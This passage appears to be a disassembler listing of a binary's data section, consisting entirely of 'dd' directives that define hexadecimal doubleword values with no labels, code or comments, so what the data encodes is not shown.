		dd 47125428h, 0D608217Eh, 0DE561054h, 4319DD5Ah, 0F67B518Eh
		dd 0CD3929BEh, 3020C109h, 0E16540D8h, 8262C60Ch, 20FB1833h
		dd 0CF316370h, 0CEA2E09Bh, 6781DC38h, 62445F11h, 3C9B4A38h
		dd 0CBD6C880h, 0FE0969CEh, 82C7DAABh, 0C476F24Ch, 15C40B00h
		dd 0E4987995h, 0A800FC01h, 63E40B99h, 55A1DFh, 56F19F59h
		dd 18F05020h, 8481F95h,	21FC528Ah, 0D570528Ah, 0D38776D8h
		dd 0F3180520h, 0F745242h, 0F844D414h, 2C04B95Fh, 0F1194A6h
		dd 63BC0C5Ch, 3ED5008Ch, 7B6A1CE3h, 0C70624CBh,	84B3D088h
		dd 909CB6C9h, 0A9CB80DBh, 1FB398F1h, 0E2F44736h, 5CDCBE10h
		dd 0D820B42Dh, 0A3CD3490h, 0C75F5F71h, 0D36A7041h, 0C88C5610h
		dd 83598FC5h, 0CD19B417h, 79FDC800h, 9E77E542h,	94D30648h
		dd 0BE12F961h, 0B04F519Ch, 0A2BC34B3h, 0C9380D63h, 4BE8401Bh
		dd 24DD8E7h, 0C8CF0554h, 0A4C0C52Eh, 4824AB3Dh,	55A20003h
		dd 0F27B2008h, 284132B8h, 1518209Dh, 0B09FC51Fh, 1708B4E6h
		dd 44470E6Fh, 0DEE50470h, 64B46C18h, 4E37429Dh,	67237C2Bh
		dd 31297201h, 0FC3247E6h, 125C0500h, 0A36B35B5h, 28152B05h
		dd 58C1C69Ah, 247874E3h, 602CD30Ah, 0A81831A8h,	93DC5256h
		dd 0FE908329h, 0D0F10846h, 172D8C26h, 805891D8h, 0C5B4720Fh
		dd 0E12616C7h, 4BCCD050h, 0FE5DD95Fh, 9EC100E8h, 0B2E2FB5h
		dd 6F013E7h, 0F6DC914Ah, 76D0087h, 47CC0092h, 6E1712FFh
		dd 0A4A03844h, 0D0C23B9Ch, 8DE0812Eh, 0DC70B018h, 0D5E1807Dh
		dd 0E21094B0h, 38014B45h, 9B3482D0h, 5BA06047h,	0C69819C1h
		dd 8C438A78h, 0C42CB0FDh, 0CEDA05F3h, 215FC8B6h, 3244B1E0h
		dd 62310284h, 493B4C46h, 81922EC8h, 34200F7Bh, 0F3401277h
		dd 46A50164h, 0C256F7E5h, 0AE3D001Eh, 0D9249BD4h, 1877602Eh
		dd 78BF3311h, 3D8D3102h, 90586B09h, 94931AD8h, 0C8CE85CCh
		dd 91884185h, 82FD3444h, 0B38BC618h, 9F48905Eh,	2FE40846h
		dd 3F08B2E5h, 0D0217361h, 46AA6007h, 22BAEA8h, 0E94120DEh
		dd 0CF1134F0h, 202BF502h, 54A86EACh, 0E0BA64Ch,	0A272DEE3h
		dd 0C8618E04h, 12975E6Ch, 5860570Ch, 432A5024h,	0D08960C1h
		dd 60365DA7h, 848594Ah,	4C89DDD5h, 7617F334h, 0A483AE39h
		dd 8D71090Fh, 0B04080E3h, 0BD0CF419h, 30DDF935h, 8C5E58BCh
		dd 86798784h, 50C4B008h, 8806031h, 0FCB2EA2Dh, 4962038Ah
		dd 82DBD23Eh, 50C16968h, 1DC58CC8h, 84820CC5h, 0D3A6216Eh
		dd 0CA9A319h, 4A534C09h, 83E451B0h, 5084B6E5h, 1AD4A03Eh
		dd 792834F8h, 18757948h, 355D01B1h, 0EA185590h,	4A54D8CBh
		dd 0C5098490h, 5965ADF5h, 18727974h, 800B00BDh,	4425F8B5h
		dd 3728F17Ch, 2E2DCFC6h, 0DF689051h, 1043AA3h, 0A5E82A06h
		dd 109E1973h, 769C408h,	0CB78E72Fh, 18938C19h, 31210808h
		dd 59C437D3h, 2100074Eh, 0CA657E53h, 0A37C0D16h, 4C1F1004h
		dd 4E200A52h, 44D6043Ch, 2C041660h, 5D032C68h, 0A1CED051h
		dd 0CBFEDE7Ah, 4519FB16h, 9AD028D1h, 985109D2h,	0D4195479h
		dd 1B07E206h, 259EE9F9h, 72C5BE72h, 80B09EA8h, 6A754629h
		dd 165C76C4h, 175739E2h, 8C8870FAh, 9EC024DEh, 0B639079Dh
		dd 0F10D5068h, 10009DDAh, 42EE6D83h, 4A472C24h,	0B9144015h
		dd 0C5B371A6h, 0D3BED704h, 6CE05A61h, 22138CFDh, 73099C8Ah
		dd 2C166Eh, 0A88A1A18h,	38575883h, 0D812887Bh, 0E00362DBh
		dd 0A0415F9Eh, 96D13A69h, 0E14B8368h, 0CA984799h, 404AFCDCh
		dd 9FC89Bh, 40478B4Ah, 0A0003FCBh, 0CCD5371Dh, 125F3DA2h
		dd 0A75E74C8h, 0B6A9A080h, 7316122Ah, 0E1A88040h, 0AC045563h
		dd 4BE24778h, 71ECE0ACh
		dd 7625388Ch, 15DCB93h,	17F012B7h, 6282C8D5h, 2CC8918h
		dd 0B8CF3DE9h, 0DCE112A8h, 480C4AC3h, 0D49B06D4h, 173E3007h
		dd 0DDEC45B3h, 0C9512E6Eh, 15E18D14h, 83742079h, 60D419C8h
		dd 218B3D31h, 94CB381Dh, 98B23293h, 0E43064F2h,	393403D4h
		dd 2DD1EA4Ch, 114B7022h, 6E462Bh, 16DA64EDh, 0F8B5A5AEh
		dd 0EA8EF803h, 0DB5D2689h, 0F8DF0950h, 418B4D0h, 8C395747h
		dd 0ADBD0023h, 0BF4058D4h, 0E31EEA2Eh, 0D844C9E7h, 3880672Fh
		dd 0CB36CFC2h, 948F4C99h, 3A76E0DDh, 8821704Ah,	0BE104DE3h
		dd 2095F703h, 7E481618h, 47260093h, 4EC6DF2Fh, 0AA75C3E2h
		dd 1DF8CD09h, 0DD0700BAh, 9DB375h, 0DFB84C8Ah, 0AB02F3D2h
		dd 50F7280Bh, 55F40425h, 0E8C4E4FCh, 7890FDD5h,	4F87DB13h
		dd 2A484B0h, 0C0D49DE9h, 48D65B1Bh, 626821D4h, 4251C008h
		dd 211748FEh, 44A3C220h, 20F37430h, 0E30B2A54h,	2DA5B48Bh
		dd 6FD041E8h, 5C431480h, 443746Eh, 0C12307F0h, 1EFC3900h
		dd 6AF23FC7h, 0EA4002A7h, 0EB41B035h, 8E4A0C80h, 2B02E742h
		dd 6B3039B1h, 0BF1E00C1h, 6A0EF83Bh, 8FE746B2h,	80EA8FB1h
		dd 2FFE3DB5h, 73A7C7Eh,	0F142C31Ch, 7B80491Ah, 0F845B56Ah
		dd 4A7E320Ch, 3828F4h, 3FCA36F1h, 37CC33F9h, 0CD2A2C18h
		dd 2E8C1940h, 0E4187Eh,	0B76AF540h, 7407F73Fh, 58566168h
		dd 6B2C25FEh, 4E860406h, 4BB13E80h, 0C0920A1Fh,	7EA17210h
		dd 79C734F1h, 718CB133h, 0DD1DF83Ah, 0E06A1818h, 8A823FCh
		dd 1A3EF342h, 18EB05C0h, 381B85C2h, 2887F80h, 0F34BB030h
		dd 7F0FCC35h, 50FD79C1h, 0E8831B6Bh, 151343C1h,	993F383Dh
		dd 0A1403A83h, 0C929A040h, 0FF173F1Fh, 702C9180h, 0FB4F64C2h
		dd 0ED3FB006h, 74E1AC13h, 2F27307Bh, 0CD191C78h, 21113B38h
		dd 7EE89092h, 0B2340407h, 51781225h, 1EF3CCA3h,	1829AD1Fh
		dd 8EFF8423h, 0CA0C8745h, 834CE43Ch, 42BC5074h,	488BCF51h
		dd 0FAD8EB54h, 90445BB0h, 0AD685460h, 4024F481h, 34C0B8CCh
		dd 8118676Eh, 3CA0D64h,	1B400BFBh, 3C6A4537h, 48110063h
		dd 813B67E0h, 80B96D13h, 4C82E930h, 0A49DEC94h,	513CC46Dh
		dd 20752CFFh, 0AFE0608Ch, 0F37CA6A1h, 0D6CF59C2h, 0D5C59A4h
		dd 9071F017h, 9696BE58h, 0B77B60D0h, 303DB840h,	81F95109h
		dd 5D4A37C0h, 6868EC5Fh, 2E6158DDh, 6860B1B8h, 0B67117B9h
		dd 0C344356h, 4AD414D3h, 0E7E194AFh, 0CA230B36h, 230E0359h
		dd 0E9A5984h, 0F4434911h, 7D730C61h, 35FC4701h,	70D020F0h
		dd 246D5344h, 8F28D6DAh, 8797E8CDh, 0D8518B2Ch,	2F8C04A7h
		dd 0A38DDD02h, 0B426A0D0h, 0EB8B886Dh, 0D53CC8E8h, 287260F9h
		dd 44AA210Bh, 0F0D3D409h, 0C8ACE859h, 1640A954h, 0F4E7D513h
		dd 9AE10067h, 1561D20Fh, 0ACFBC6E5h, 24DB5478h,	0AE9F88Ch
		dd 92D0D35Ah, 0F00CBC98h, 0CD883DDEh, 14BE8A7Ch, 0B0ABFA39h
		dd 4080DEC2h, 0D53621CAh, 4E74A24h, 1FC44468h, 0DC2A0322h
		dd 7029D051h, 2711884Ch, 1F4E40h, 3348A120h, 220441A8h
		dd 3F8F031h, 0C390CA9h,	2943862Bh, 1CA1FB22h, 48E01823h
		dd 4C24841h, 18F4BA71h,	64448258h, 6041400Ch, 91688B97h
		dd 209C283Ch, 4BF02B3Ch, 0E360F896h, 0B356B28Ah, 54C5509Ch
		dd 0EC104960h, 4A7A9AD1h, 3D0C7128h, 202C00AEh,	4A34905Ah
		dd 0BE300B44h, 48530686h, 0F0EF7978h, 20322BEBh, 1F342866h
		dd 383050A3h, 0C136B48Dh, 1208E921h, 0CB0C201Bh, 0CE5EAD1Ah
		dd 43DC5E18h, 411E62C6h, 1258DCBh, 1E097920h, 0CD513986h
		dd 6D0E5147h, 0C056A47Eh, 0BF2B90B6h, 2D1B009Bh, 4A27A5EAh
		dd 50259E68h, 0C0DC6ACFh, 0C449C57Ch, 88E3D2A1h, 6312D880h
		dd 0D40C1951h, 80E09Dh,	81369602h, 729B824Fh, 19A8EFh
		dd 53284A12h, 449E0404h, 5F561C01h, 96A5F022h, 478BDB00h
		dd 6F1FE391h, 0D3380C6Ah, 60093A03h, 0D6EA3300h, 514D7A26h
		dd 0A35F481Eh, 98264C47h, 0CF960234h, 0E0916F47h, 919C51F9h
		dd 2948862Eh, 40F06CDEh, 0F98976B3h, 0E312502Dh, 0CDD420C6h
		dd 0A5736456h, 48C0C7F6h, 0E0C6973Dh, 6080BE84h, 547AA2D2h
		dd 5D4FD6E8h, 0E3E578C1h, 219E4ED1h, 0B4630656h, 25097168h
		dd 2F6DB6D9h, 244838D8h, 5A3D0302h, 0FB478A28h,	0CC3E710Bh
		dd 5CA8E165h, 6FFE210h,	0EE1D461Eh, 474CBB9Eh, 2C16Bh
		dd 9B6093D6h, 0A30F8A3Dh, 1052B519h, 11104C40h,	5012A568h
		dd 104643D0h, 4510AC69h, 1D10401Bh, 270012D2h, 8B6621D5h
		dd 885FB48Ch, 404CDE08h, 74D924A4h, 0A1012042h,	288FFABCh
		dd 19718BE8h, 793B72B3h, 20B6E1F7h, 0BFE6DFBEh,	87A40118h
		dd 12AB11B0h, 8275212h,	0D281B32Ch, 2233021h, 2C53ED0h
		dd 0FA93F5ECh, 4795FDAh, 2159B000h, 97C8D84h, 79550429h
		dd 494AF084h, 0C71C2316h, 885945AEh, 118086E1h,	0D038212Ch
		dd 5A5C0683h, 0D4872988h, 0D0127C93h, 60585489h, 78D834EDh
		dd 4D648121h, 0EB84303Fh, 19791030h, 4E4763D3h,	0B034227Bh
		dd 0D21FA878h, 3E82969Eh, 0C1E51831h, 6214BE18h, 38C19214h
		dd 0D8304031h, 58A1B4Fh, 0B89275DCh, 0D52C20D7h, 0E302BE7Fh
		dd 53E952FDh, 0A3974050h, 27F44E06h, 5B4A101Ch,	9301AD64h
		dd 50C7790Dh, 4222FC9h,	21683426h, 4A8E7828h, 94A07343h
		dd 5A281D2Dh, 230A2C19h, 0C051B450h, 2F920A85h,	20636882h
		dd 515FE45Ah, 48A48C39h, 1C13244Dh, 3330B044h, 98120523h
		dd 6C87539Ch, 98321905h, 54F0E467h, 42DF0CA8h, 88902162h
		dd 461271C3h, 0BD4C4A5h, 5D4838A2h, 0ABCCB000h,	5CFF8232h
		dd 2C8133Fh, 0DF2DB35Eh, 96A1C0C2h, 0B84654C5h,	0AD3A0006h
		dd 1ECC076Dh, 0A0BD255Ah, 8C90B200h, 5BA5AF4h, 21E95684h
		dd 0BECE5FACh, 0C4060041h, 823572DDh, 0D23B00CFh, 0CB1A342Eh
		dd 2500031Dh, 7FDE30CCh, 0F75FB863h, 0BAD0307Fh, 9BE83EA1h
		dd 367FEF03h, 98CB1C43h, 0CC21ABh, 94AC3148h, 569DD6Dh
		dd 0D4E60F76h, 58F484BFh, 5AF82B41h, 290A2EB1h,	2C004CD2h
		dd 6B53C5DFh, 73402F48h, 303ABC48h, 9D77F800h, 5B9B9FD5h
		dd 92900022h, 0E28936A4h, 0DD2AD43Bh, 2C3A8854h, 8ADE85B1h
		dd 0EC08AD29h, 0D0B396D1h, 4214E594h, 0EE0B400h, 0AD97021Ch
		dd 0FC90798h, 0A0B33A4Dh, 0B08F2979h, 5503F9E2h, 0C99C2493h
		dd 38213D14h, 1787E43Dh, 50A6B2F2h, 4B2F8F8Dh, 0A0F7CA00h
		dd 0B332292Bh, 0BB540EC0h, 1E8001DDh, 63B917ABh, 0D1EB4301h
		dd 4926DBF8h, 0C8945080h, 563B88C3h, 4CFDB500h,	16AB0F34h
		dd 3CA60E1Ah, 0A92C809Bh, 27053A20h, 0DC6D9D1Fh, 46372038h
		dd 4DB20327h, 0F1BCC6Dh, 0FD9FF7C1h, 5CB19580h,	93A9CB7h
		dd 2123355Dh, 0A3FDA980h, 5136074Fh, 40C90783h,	0E976566Ch
		dd 34DC3900h, 4D17B32Ah, 2FA10022h, 44977AEBh, 0E5037082h
		dd 0FE5A0E73h, 0F88ED3A8h, 0E896A367h, 0BBA7005Ch, 0BE3D41C1h
		dd 4C54B9DDh, 0BC19DE8Ch, 49801C75h, 6F109DD0h,	930060B7h
		dd 29A189DFh, 3CE8D00Ch, 0C0880934h, 89EC7321h,	8AFA8D4Eh
		dd 0D2983B68h, 4A1B421Eh, 0A5EDC0D0h, 0D3E301F7h, 0CC1B98A4h
		dd 0E5088C7Ch, 0F0A2038h, 0A3B0F76Eh, 0DDEFC420h, 0A80CC1F9h
		dd 992D2A2Eh, 46B110B3h, 0AFDE1FF2h, 2A181A18h,	9CFCA06Dh
		dd 262840F3h, 9060C82Ah, 35C1B40Ch, 0E33489C6h,	5D9A1983h
		dd 0D831DE5h, 830BADD8h, 563A7E0Ah, 4674D89Eh, 33397920h
		dd 30616034h, 9EB96Ah
		dd 7BE97705h, 60A9FCC4h, 8A1BC626h, 9683F800h, 18433367h
		dd 3931D327h, 2807D969h, 0E2606CD2h, 0B59764C1h, 48489FF1h
		dd 29B898ADh, 1148C195h, 0A5CE0021h, 7E81D0FDh,	0F0AF4114h
		dd 89F45CB2h, 8B12A002h, 83FC88F4h, 4401B39Bh, 8C48DC39h
		dd 0B9F79704h, 0D76294D4h, 0F7A00820h, 9D533F8Dh, 0B2491230h
		dd 0D600D5D7h, 5A9684C2h, 502A0CC1h, 48266038h,	0B0086486h
		dd 3CAA4FD4h, 0B91E9746h, 0C029448Ah, 208632E9h, 0F489DE75h
		dd 417DFF05h, 4006332Ah, 1C14834h, 0C13B6296h, 42F8B5B6h
		dd 0A4306AECh, 953B28FDh, 9EA485A0h, 0EAFD40D7h, 0B0E7AA01h
		dd 0B901327Ch, 424CEBAh, 1422B57Ch, 0C4CF8F1h, 50E7003Bh
		dd 3E7D344Fh, 9B03FBACh, 0CCE641D2h, 0B58BA9h, 379CB3E1h
		dd 0EA8DE408h, 10F8BD14h, 94123D0h, 1405F7A2h, 0E0D0626Ch
		dd 0F76B0B20h, 3E1574DBh, 0DD807144h, 35FC986Dh, 0C91927F3h
		dd 9470B412h, 5434C830h, 1D5AC83Eh, 0C1A05B40h,	0B948F050h
		dd 66089878h, 7457D21h,	58A39D5Bh, 0ACFD2033h, 2926A71Ah
		dd 2643D430h, 0B8A950D2h, 0ACEC0C51h, 36E18410h, 0FD48BB00h
		dd 0ABCF8670h, 0D8E40094h, 5DA4ADD2h, 9C073C73h, 0E2510B87h
		dd 79DA8EF0h, 0DDA80726h, 0A01CBB7Fh, 0B33C8540h, 614460A7h
		dd 4E514160h, 2449FD01h, 3A1D9356h, 0B84BE561h,	0EDC022C8h
		dd 0B8F0EE6Ah, 0FCC305FFh, 40D935A4h, 0BF19D8C4h, 0E6007667h
		dd 40376AE3h, 0ECD4536h, 0E4A45A6Ch, 0A6A772CEh, 0DCF0D3B5h
		dd 488437A1h, 790777A4h, 0B49519B1h, 38198CC6h,	0E054CA9Ah
		dd 0B3E003Ch, 9D55FE8Dh, 0A800EE2Bh, 318EADBCh,	58E69336h
		dd 0CB019451h, 0C809AABh, 28686487h, 3AA0154Ch,	0C292064h
		dd 4768E4CBh, 0AE540130h, 91032C84h, 0FD72730h,	323B99D0h
		dd 6B9E90DFh, 37A006A2h, 2033F859h, 7B8E4D07h, 200A99E7h
		dd 8C2E9C70h, 614E3402h, 0B3DEB493h, 0AE5BA9E4h, 0E20DDh
		dd 0EB5B3B6Fh, 1857C114h, 0B8A8603Ah, 17408711h, 99150095h
		dd 1D5C789Ch, 0BD007AABh, 70E2525Fh, 4DDCCD1h, 352A6F1Fh
		dd 4720C813h, 77064F88h, 46970044h, 8183AE3Dh, 8B1993DCh
		dd 0B361AC16h, 0C2340441h, 6AADF850h, 111C0083h, 0C9E29D5Dh
		dd 920B97FAh, 0A5935FC8h, 89073514h, 55C3AB12h,	0DD1CB9B3h
		dd 530040BCh, 40D22F90h, 0DE152DB4h, 11DC11C4h,	0AE1F8F38h
		dd 738689Bh, 5816B492h,	9920CC7Ch, 4E50C91Bh, 8AD4C898h
		dd 8F5D03A0h, 0BB955529h, 496941E0h, 9100A479h,	0FCBC09Bh
		dd 45FFD2h, 0F43236C4h,	298EDD66h, 0B34BCA0Ah, 0B11844E5h
		dd 30D2BD51h, 0F23142AFh, 0C87958A9h, 5B180C1h,	0D420D779h
		dd 7EC1F994h, 35371882h, 5101DF81h, 0D18947C8h,	41004C6Bh
		dd 7817A0CCh, 94B1D829h, 0DD02380Ah, 0B4DE161Ch, 834EDD0Bh
		dd 0A9C8A85Ch, 70BE2F23h, 0D4408A7Fh, 44E51011h, 0D68A84CCh
		dd 0E8C0AD08h, 18B7F134h, 60917A4Eh, 56CCC0C3h,	0B30C4549h
		dd 29C696B4h, 16B844CDh, 84729844h, 0D9895A7Fh,	84BA7017h
		dd 680026E9h, 395CC21h,	0F62CC1h, 470964CFh, 0F369FF42h
		dd 9CF29700h, 7D92134Ch, 349E05ABh, 3540E53h, 26F19FABh
		dd 647A1B98h, 0DB2E6800h, 537822CBh, 9B053ED5h,	7B6D9080h
		dd 0D9120788h, 30207200h, 0D8DA132Ch, 7CC603D3h, 0A4512D0Bh
		dd 0AA23291Fh, 40A0724Eh, 21C2EA1Dh, 86D50039h,	7094CDDAh
		dd 0DF44DCEh, 0F87BEE00h, 7CF628Eh, 1F2900E1h, 0DEA4A164h
		dd 5B00CD37h, 0A003BC54h, 65E771h, 6AB542C6h, 0B4C1AE67h
		dd 3E849700h, 4683DCD4h, 0B35400E4h, 0AD0B5395h, 0B71C5267h
		dd 2B018A24h, 0E7C2B17Ch, 489CE434h, 701EE8C3h,	52FC81EDh
		dd 0F8978748h, 90FA1BB5h, 0DAC60B1Eh, 47EABD00h, 897A1Ah
		dd 2BD7FBE6h, 0C93A5A75h, 99392800h, 45CD190Dh,	0DA7100B9h
		dd 979A82A1h, 0F50A51C3h, 9414BAC0h, 0BF909F00h, 44521A0Ch
		dd 1D0C0479h, 11C3B7B9h, 99BC0765h, 0E19DB475h,	707C5516h
		dd 40549A9Ch, 800A4BCh,	881324BEh, 35A1145h, 59E86948h
		dd 9AE08F75h, 0E4E96F5Fh, 78006470h, 0E3F48388h, 9A36E62Ch
		dd 0AAF70090h, 0C79A6639h, 7700C65Ch, 13C55774h, 54DA9E8Fh
		dd 745AE8BCh, 5F3300BAh, 0D3F814B9h, 7005D54h, 769B421Dh
		dd 0A3AFBh, 716837F9h, 9ACB7013h, 0C6336507h, 69E0E01Ch
		dd 0FEB9078h, 0FDF91B32h, 0F3D802A0h, 4006675h,	7AA2CF60h
		dd 48732A88h, 74006B8Bh, 0FA3EB5D5h, 5C009452h,	0A2F69912h
		dd 0FF04F13h, 0FF37AE05h, 715EA320h, 0B50C3820h, 48D6E591h
		dd 0C5D5093Fh, 1382900Bh, 3A41A2A6h, 930CE801h,	398F9600h
		dd 9F490B63h, 294B007Eh, 0ED4F721Ah, 5000B6E3h,	9597B7EAh
		dd 0A99BFDEh, 98E85EEFh, 357300BCh, 114A2164h, 844C8300h
		dd 7C1D0D1Bh, 80F3127Ah, 8B200353h, 0F9D889D8h,	0F4F203EBh
		dd 0DDE91A00h, 0B618BF3Ch, 0FC260080h, 98584628h, 86008CF2h
		dd 0DA6E4130h, 3A6D275h, 0B57BF18Fh, 67815DAAh,	6F28304Bh
		dd 7AC71D00h, 2635F21Bh, 0AEC84CBDh, 0E72B5D00h, 4813F059h
		dd 35CFC1Ch, 56F27580h,	269416B9h, 651739h, 0D3577897h
		dd 47003D85h, 1525ED5Fh, 946F2Bh, 9BC3DEBAh, 8EBEE289h
		dd 0C704B7E2h, 0A137C890h, 2520E480h, 64E34852h, 0C4068800h
		dd 0C84C70Dh, 12B3E04Ch, 60077DB4h, 2322C931h, 0BD20408Ch
		dd 78AA07C1h, 57DEB743h, 2E6770ACh, 0D4003975h,	0B3252917h
		dd 597D8C90h, 0E00070A3h, 0C4A6976Fh, 487934D8h, 0E8D44300h
		dd 8777A1F6h, 11F70064h, 5E9F826h, 36006E83h, 944023A8h
		dd 3AEC147h, 8D64E4F5h,	11901C55h, 0CC90BF02h, 0E7BD5D08h
		dd 80658296h, 0BC495BDCh, 992CF4A6h, 3F1AF900h,	28129BC0h
		dd 0D5B03FB2h, 0D2795C80h, 334FE606h, 5DEB3Eh, 0B4ADB53Bh
		dd 0E81A9C75h, 8B8A01D0h, 0C29E2CE2h, 2FB4201Dh, 0A0C9BF2Ah
		dd 7A4BDE00h, 622A708Eh, 176726FAh, 87C4800Ch, 0C511CB85h
		dd 0F2208303h, 984D651Ah, 20314EEh, 0C93E76A5h,	6C08B43h
		dd 86003B8Eh, 0EC40A028h, 191D546h, 390CF0DBh, 307DCBCFh
		dd 0BF389A31h, 3626FA53h, 0F50400CDh, 0A8001C3Ch, 80950AE9h
		dd 2EBC7638h, 0F900E316h, 0CF845971h, 0C0240087h, 79E636DAh
		dd 0A818AAA3h, 0A9280437h, 3F127C45h, 0B502CFEAh, 0C3214206h
		dd 433A3C58h, 0E44D09E9h, 81A000CDh, 18EFA24h, 2D5AF720h
		dd 0FBBC60C4h, 0F4C02FC1h, 0ED003396h, 4B153899h, 72D647h
		dd 5277DBADh, 98F30CA2h, 7F542448h, 0E18E0500h,	925A9DC5h
		dd 0A0B85550h, 0D337CCh, 9846D9BFh, 0E3242F9Fh,	0DE006492h
		dd 53D1C003h, 7ECDD30h,	3225B786h, 0D7473E46h, 0E209A0ABh
		dd 9D0066F2h, 6CEB349Ah, 195B81Ah, 354F5860h, 0EC8027EDh
		dd 5B0120E0h, 5E6AD67h,	0EC40380Bh, 23D1DDh, 7BD6887Dh
		dd 0BF2D633Fh, 60FB2603h, 1E31A737h, 93BAA29h, 38004017h
		dd 0DD193AE2h, 0B5216A0Fh, 0BC222A83h, 80037A09h, 7D98CDA4h
		dd 2F4F0055h, 1171F3E6h, 0B7F21201h, 0EE33E507h, 8B5592Eh
		dd 0E9DBE00h, 87CEE9h, 7A3B26Bh, 4E83251h, 0EC024F74h
		dd 186AF730h, 0C3844098h, 5190084h, 0FD978E9Ch,	748D5CDh
		dd 0D2E207D8h, 0CEBD36h, 0FB0913ABh, 3BFCBACEh,	0E3002C34h
		dd 84709507h, 0F00EF6Bh, 0AE5B4B24h, 3B2A8C2h, 434C624Eh
		dd 21B88F52h, 940E2FF1h, 0C0DC9380h, 0D17031E1h, 0A1750640h
		dd 90BD9DE5h, 230A0900h
		dd 1B6B595Bh, 38A300CCh, 414A13E3h, 2B00F20Fh, 0C827D6BCh
		dd 1331AD3h, 427328CBh,	0D0A70BBDh, 2400BA5Dh, 0F7DD18A2h
		dd 76865409h, 6CB9C2BFh, 68C835C2h, 0E2120A83h,	0A8D0D9B1h
		dd 20D5ACFh, 4B89437Ah,	86866E8h, 0F20BEA93h, 200157DBh
		dd 52C2A6BCh, 0AD400966h, 8CC8DA3Ch, 46008D8Ah,	455CA196h
		dd 0FA53ACC5h, 49B60299h, 4BB48F54h, 4CB165C0h,	0BE93550Fh
		dd 0B792A081h, 0A02476h, 0A3287AC3h, 0B4CE7DC2h, 58552630h
		dd 1E9884D4h, 0F0A436AFh, 0E1974C10h, 310ED306h, 1381494Eh
		dd 97B806CCh, 0A4E90074h, 0F6E82829h, 0DEFC5200h, 0D93F4549h
		dd 0CE3D005Ch, 0AE7506CBh, 363FF143h, 98B18F48h, 973C84FBh
		dd 73E444E4h, 18334CB4h, 0FB80B105h, 391CA481h,	0FA95EA0Fh
		dd 0A37019A5h, 484350F5h, 0E7A805D2h, 0AB518D3h, 18101028h
		dd 33E368D6h, 0F9B0857Ch, 0A5008773h, 3130DDA4h, 3757Fh
		dd 0CBB70784h, 2EFD4A0Fh, 6C346D13h, 609A4082h,	5CE91Eh
		dd 0B601C1B2h, 0B5F4F020h, 8B9DC60Ch, 90902941h, 2746399Eh
		dd 43CA558Ah, 5EC90CAFh, 1A0583C9h, 85A9DE28h, 2332A04Eh
		dd 0E372B5F5h, 0F28898D2h, 9B56278Bh, 0BC7FC803h, 9A840FC5h
		dd 806C5184h, 17B2E94Bh, 0C9144E18h, 2DA3A08h, 0B3343FD6h
		dd 444BED32h, 0B1046046h, 302D5511h, 1147E511h,	0E111BBDAh
		dd 9DB9119Eh, 113FA611h, 0A074BD9Ch, 899BDA14h,	4D6411C2h
		dd 0A2C06AF9h, 0AD0B0085h, 4CABE678h, 4A0736DBh, 0E997C3E0h
		dd 26695380h, 0C98612E2h, 6340C0C6h, 8800C722h,	4D36C307h
		dd 4CBD0F37h, 1F00DC19h, 0D5BAB1E4h, 0A5006894h, 0C246CAD6h
		dd 481A50ADh, 800B89Ch,	6A26F6CFh, 0E14CB135h, 4D5800ECh
		dd 6184273Bh, 4922E1Fh,	1FFF3CA4h, 15BC3F32h, 1C099049h
		dd 0DC20911Bh, 0DBEB6ED3h, 3400CAE6h, 59C5A04Eh, 3D98B9EEh
		dd 2FAACA7h, 0D7AB21BEh, 40604553h, 2900F57Fh, 0B38EA8F1h
		dd 1851400Fh, 60390BABh, 384DC1EBh, 656A0020h, 0C88BFB4h
		dd 0D59A07CEh, 877AC5F6h, 0CC427083h, 1D009351h, 30F51F08h
		dd 0F72B18h, 5F231CE7h,	0DA72A624h, 16B5BF00h, 0FC9B3B6Dh
		dd 7BDE0040h, 0A32AE8FFh, 0E313C51Eh, 2801BE42h, 73DF0C2Ch
		dd 21289850h, 57BB00A5h, 59C6422Dh, 23012A4Ah, 83AE8D7Ah
		dd 0B2E8A877h, 93DF3F76h, 12FE0180h, 7EABD232h,	7F7C0300h
		dd 172858DDh, 0FC5F2CC8h, 0E437001Fh, 0DB155085h, 5A1E6EF4h
		dd 60400749h, 61B6B07Dh, 0AB160FC6h, 0AA062F2h,	0E41B7B90h
		dd 0B4D15224h, 0C014B81h, 838F57Ah, 2691B200h, 82AFDE31h
		dd 6D11A400h, 68F5D947h, 40CE1818h, 0CD9E2866h,	0B3CBA001h
		dd 2E67E609h, 4C4AEAECh, 6E00D2AAh, 24C00FF9h, 9C003AC4h
		dd 44334511h, 87D2A4h, 9D262FE1h, 0B45940A3h, 8B57BE01h
		dd 2CB03C29h, 0FEC060h,	3DD4D265h, 8F2EF718h, 0CE988300h
		dd 3B09E2F4h, 730E080h,	0A6DB527h, 98B8502Bh, 3500C652h
		dd 8AB320C4h, 0BE2E8862h, 0ABB40334h, 15C86323h, 0EB0004F0h
		dd 0CB9F906Eh, 0F4303DDh, 0E2CD3328h, 0FD2C500h, 711CA232h
		dd 130014AFh, 0B462725Dh, 0C25000FBh, 1E6521F5h, 0DA027091h
		dd 5FA28A89h, 4D2460D3h, 90454955h, 86150538h, 0A602ACF9h
		dd 9BE32A95h, 0BED7CE8h, 96034C92h, 3FAE7094h, 53E2C8A9h
		dd 2704B850h, 0C8307854h, 6B0F3D20h, 26E9B826h,	21C985h
		dd 0FD52CA33h, 0C88A765Bh, 7F945A18h, 8099BA69h, 402E45EDh
		dd 1880BCC6h, 7D6BD567h, 3E0E981Ah, 0A83BB9E0h,	10BB1Dh
		dd 0CE15EE68h, 30004B93h, 5BD91A71h, 2D6736h, 0A80F01E1h
		dd 0DB516B15h, 0EC00C6EEh, 335C5DA7h, 0F6071ABh, 3D0F39B5h
		dd 8C114AA0h, 794A12BDh, 0EC00AC16h, 8A2FDBF7h,	0CC37015Bh
		dd 6C973B28h, 0E6660B5h, 590079EAh, 0E8757D76h,	0E355F9E0h
		dd 0EB15474h, 13963921h, 25D1D6E0h, 0EC5CA53Eh,	3D1670C0h
		dd 0E400469Ch, 0CB85FE2Bh, 5DE00008h, 14F81758h, 86004375h
		dd 0C95B031Eh, 3E1D36E7h, 0E3D0CE7Eh, 89B4C29h,	31AD5400h
		dd 47BC02E6h, 0EDE00498h, 0EF27301h, 6F92134Dh,	2240B231h
		dd 906225C8h, 0F9450076h, 6B0A88CAh, 12000B81h,	6DC6AAF1h
		dd 12ACFD20h, 0A776DCh,	9049361Fh, 0F81EC92Dh, 31CF2CE2h
		dd 0DF230169h, 0BDFC5D8Bh, 0B2630005h, 59AEC1E1h, 8F007DEDh
		dd 30DCCC9Eh, 395D8AE0h, 0F100066Bh, 0F56EA409h, 4A0041C2h
